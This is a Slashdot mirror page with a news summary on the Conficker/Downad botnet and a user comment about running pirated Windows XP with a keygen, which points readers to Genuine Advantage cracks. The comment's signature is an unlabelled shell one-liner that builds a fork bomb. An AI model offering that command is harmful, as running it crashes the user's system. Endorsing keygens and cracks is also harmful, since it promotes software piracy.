Slashdot Mirror
New Massive Botnet Building On Windows Hole
CWmike writes "The worm exploiting a critical Windows bug that Microsoft patched with an emergency fix in late October is now being used to build a fast-growing botnet, said Ivan Macalintal, a senior research engineer with Trend Micro. Dubbed 'Downad.a' by Trend (and 'Conficker.a' by Microsoft and 'Downadup' by Symantec), the worm is a key component in a massive new botnet that a new criminal element, not associated with McColo, is creating. 'We think 500,000 is a ballpark figure,' said Macalintal when asked the size of the new botnet. 'That's not as large as some, such as [the] Kraken [botnet], or Storm earlier, but it's... starting to grow.'"
I had a laptop with pirated XP on it which didn't pass Genuine Advantage. It worked fine for years, there were hacks to install Service Packs. Microsoft even documented how to change the license key from the leaked Corporate one to another. I actually had a spare OEM copy of XP but I used a keygen just to see if I could keep it working and see how Microsoft supported it.
The keygenned key let me install service packs but it stopped passing Genuine Advantage. There were cracks for that, but I never needed to use them. Apart from not being allowed to download stuff that needed GA from the Microsoft site I never really had an issue with it. And if you really have genuine copies, why not call Microsoft and get them to activate them for you, which they will certainly do if you have proof of purchase? Or read up on the latest cracks?
Whining about it on slashdot is just karma whoring.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;